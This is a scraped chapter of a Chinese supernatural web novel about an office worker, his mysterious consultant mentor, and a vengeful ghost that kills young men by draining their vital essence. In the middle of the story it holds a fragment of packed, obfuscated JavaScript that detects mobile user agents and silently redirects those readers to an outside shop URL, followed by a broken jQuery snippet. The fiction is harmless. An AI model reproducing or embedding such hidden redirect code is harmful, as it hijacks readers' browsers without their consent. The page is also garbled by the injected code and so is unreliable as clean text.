当夜安泽断断续续做了一晚上的噩梦,等到第二天醒来却什么都不记得,只感觉这一晚睡得很累。
安泽推开房门走出卧室,蒋一帆已经先起了,看到他问道:“你昨天是几点才回来的啊?你那个仙女领导加班这么狠的吗?这也太不出世了吧?”
安泽随口说道:“昨晚不是在加班。”
蒋一帆愣住:“那你们在做什么?”
安泽按了按闷痛的太阳穴:“我是说,昨天不是她喊我加班,是我自己想多了解一下公司的事情,不知不觉就晚了。”
“你赶紧去洗漱吧,等你一起去公司吃早餐。”
安泽洗漱完走出卫生间,见蒋一帆眉头紧锁盯着手机。安泽心里咯噔了一下,不久前校园规则怪谈的阴影还在,轻声问道:“怎么了?出什么事了?”
“你看新闻,我们隔壁小区家悦花园死人了。”
安泽连忙过去看他手机上的新闻,昨晚隔壁小区家悦花园有个年轻男子在小区里离奇死亡,身上呈不符合年龄的老化状,死亡时间大约在晚上八九点,死因警方还在调查。
“离奇死亡?八九点……那不就是我回来之前吗?”
安泽忍不住开始想,假如昨晚不是张曲见陪着他回来,那受害的人会不会变成是他?
上班时间快要到了,他也没再多想,和蒋一帆一起去了公司,先在公司的食堂吃了个早饭。
隔壁桌正在谈论这个新闻,谈论的声音传到了他们的耳中。
“那孩子可惜啊,是家里的独生子,刚高考完,听说考得不错。”
“那父母不是天塌了?”
“谁说不是呢?小王不就住在这个小区?我刚才门口遇到小王了,听她说,昨晚父母二人都给救护车拉走了。”
“你说住家悦花园的小王,是不是王沐柠?”
“对对对,你也认识她?”
蒋一帆拍了拍安泽,道:“王沐柠不就是我们项目组的副组长王姐嘛。”
安泽无奈笑了笑:“我还不知道我们项目组里有哪些人。”
蒋一帆介绍道:“杨凡凡哥是我们项目组的组长,王沐柠王姐是副组长,其他的我也不认识,应该也不怎么会接触到。”
吃完早饭,两人就一起去了项目组的办公区。
安泽刚踏进门,忽然想起了什么,道:“我要不还是去她的办公室里,和她一起过来吧,不然我怕她找不到。”
一个三十多岁的女人正好走过来听到安泽说话,就道:“你是张顾问的助手吧?她已经到了,凡哥想先单独跟她聊几句,他们在旁边的小会议室。”
“是吗……”
安泽忍不住想,昨天张曲见看项目企划都有些看不来,现在直接被项目组长拉走私聊,她能不能应对?
蒋一帆见安泽忧心忡忡的模样,不解道:“你在担心些什么?怕凡哥欺负你的仙女啊?”
安泽愣了愣,轻拍了一下蒋一帆:“胡说什么。”
蒋一帆见他的领导还没到,就拉着王沐柠打听命案:“王姐,我看到新闻了,家悦花园出事了。你不是就住在那里吗?什么情况啊?”
王沐柠直摇头摆手:“我正好看到了一眼,太吓人了。才刚高考完的小男生,身上皮肤变得又黑又皱,父母都认不出来,是从衣服手机这些物品才确认是自己的孩子。”
安泽身后一道清悦的女声问道:“什么时候的事?”
安泽转头看是张曲见,快步走到她身边,压低声音问道:“你们聊得怎么样?”
张曲见淡淡道:“挺好的。”
旁边杨凡赞叹道:“小姑娘年纪不大,真有点东西嘛,难怪专门请你来当顾问。”
安泽愣了愣,随即松了口气笑了。
王沐柠忍不住多看了张曲见几眼,友善打招呼道:“张顾问,我是《问道》项目组的副组长王沐柠,组里就我们两个女同胞,以后多互相照应吧。”
张曲见淡淡应了一声:“嗯。”
安泽见王沐柠因她过分冷淡的回应显得有些失落,就替她说道:“王姐,她就这样的性格,昨天一天都没给我一个笑脸。”
王沐柠闻言笑道:“张顾问又有本事又年轻漂亮,有点个性也是正常的。听老员工说,端木主席当年年轻的时候也是特别有个性。好了,别在门口站着了,我们都进去吧。”
安泽和张曲见一起走进了办公室,张曲见轻声问道:“你们刚才在说什么?”
“昨晚我隔壁的小区出事了,王姐正好就住在那个小区,就聊了几句。”
安泽在她耳边低声把今早听到的事都跟她说了一遍,之后转眸看她,见她神情有些凝重,就又问道:“怎么了?不会真是灵异作祟吧?”
张曲见轻声道:“我现在也不好说,晚些时候我去看一下尸体。”
“啊?”
张曲见微微皱眉:“小声些。”
安泽见项目组组长杨凡准备开始说话了,就安静地和张曲见一起坐了下来。
整场会议节奏简洁利落,杨凡梳理完手游整体构架,顺带讲完和张曲见商讨后的优化思路,王沐柠补充落地细节,会议很快结束。
张曲见起身就准备回自己的办公室,杨凡喊住她道:“张顾问,如果可以的话,我们尽量在一起办公,有事情也好随时交流。”
王沐柠也道:“是啊。曲见,你就坐我对面吧,昨天我都帮你把工位收拾好了。”
安泽看了眼蒋一帆,后者拼命朝他使眼色,示意他让张曲见留下来,这样他们两也就能一起工作了。
安泽又看向张曲见,正要开口说话,她先道:“再说吧,今天我还有事。”
杨凡愣了愣,只能笑道:“没事,你今天去忙你自己的事吧。总经理说过了,你要是外面有事,就以你的事为重。”
张曲见微微一点头,转身就走,安泽也只能跟上。
安泽落后张曲见几步,她先回到办公室后直接随手关上了门,安泽重新再开门走进去时,里面早就已经没有了她的身影。
安泽只能在办公室里等她,他开始想到昨晚张曲见接的那通电话,她像是遇到了什么棘手的事情,难道说这两件事有什么关联吗?
安泽又等了半个小时,还不见她回来,就出了公司去了案发地家悦花园。
他刚走进小区就看到人群吵吵嚷嚷地在朝着一个方向围拢,抬头一看,前方一户高层的窗户里不断地涌出浓烟。他心里顿时一紧,跟着人群一起往前走去。
他听到周围人谈论着,这户人家就是那个死去少年的家,他父母本来就是老来得子,从小对他十分宠爱,忽然遭受了这个变故他爸妈一下子都接受不了。他的爸爸因为刺激突发心梗,昨晚送去医院后人也没了,他妈妈今天恍恍惚惚地从医院回来,之后没多久家里就起了大火。
消防车很快抵达了现场,可楼层过高,救援难度很大。消防员一边紧急制定方案,一边疏散围观的人群。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912320|213168||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>安泽跟着人群向外走去,目光扫过人群外,忽然看到了那道熟悉的清绝身影,快步走了上前。
“你也在啊,那可太好了。着火的这家里面好像还有人,这么高的楼层,消防也不好救,但是你可以对不对?”安泽说着,满眼期待地看着她。
张曲见迎着他期待的目光,淡淡道:“我救不了。”
安泽一愣,不解道:“为什么?你那么厉害,灭火对你来说不应该是难事吧?”
张曲见语气平淡地说道:“不难。但没有天道应允,我不能随意插手旁人的命数,更别说是生死大事。”
安泽愣住,过了许久才道:“可是……明明可以阻止,就要眼睁睁看着吗?”
张曲见道:“如果有能者都随意更改这世间秩序,随心所欲无视天道规则,那这世间就会不成方圆。”
“所以天道就是无情的吗?”
张曲见沉默片刻,道:“天道为公,这就是至情。”
安泽也沉默了片刻,轻笑了一声:“如果所有人都不愿插手别人的命数,那这个世界上就没有见义勇为,没有路见不平出手相助,没有英雄为了正义牺牲,这些都没有了,那这个世界又会变成什么样?这就是你想看到的吗?”
张曲见没有回答,安泽转身离开。
整整一上午,办公室里死寂无声。
张曲见静静坐着,安泽就自己待在旁边,两人全程零交流,空气里弥漫着淡淡的僵持与疏离。
直到下午,蒋一帆发来一份项目文件,让安泽转交张曲见审阅。
他这才拿着手机走到张曲见身边,打破了僵局:“张顾问,组长那边发了一份文件过来,想让你看一下。”
张曲见扫了眼内容,停顿了片刻,轻声问道:“你是不是想去那个办公室,和你的朋友待在一起?”
安泽愣了愣,低声嗯了一声。
张曲见轻声道:“那我们就过去吧。”
安泽转眸看向她,她脸上仍旧是没什么波澜的神情。张曲见出门往大办公室走去,安泽跟在她的身边,犹豫片刻,还是忍不住问道:“昨晚打给你的那通电话,和昨晚那个案子是不是有什么关联?”
张曲见脚步略微顿了顿,轻声嗯了一声。
安泽赶紧问道:“你发现什么了?”
张曲见道:“死者被吸干了精气,手背上有一滴血泪的标记,根据残留气息来看,那厉鬼修为颇高。”
“所以是厉鬼害人?”
“如果真是那镇压数百年出逃的厉鬼,必定还会寻找目标吸食精气,年轻男子是最容易成为目标的。”
她说到这里停了停,忽然转头对着安泽严肃道:“在我还没有处理好之前,最近你都早点回去,天黑后不要出门。要是有什么情况,你立刻打我电话。”
安泽看着她认真的眼神沉默了片刻,垂眸道:“你不是说,不干涉别人命数吗?”
“你不是别人。”
安泽一怔,有些局促地移开眼神,低着头道:“我又没有拜你为师。”
“嗯。”
安泽抬眸看她,她的脸上还是没有什么表情,就自己叹了口气,和她一起朝着大办公室走去。
旁边有两个年轻男同事拿着咖啡,一边聊着工作一边从他们前面横穿走过。
张曲见忽然停住了脚步。
安泽顺着她的视线看过去,其中一人握着咖啡杯的手上,有一滴像鲜红的水滴一样的印记,就像是一滴血类。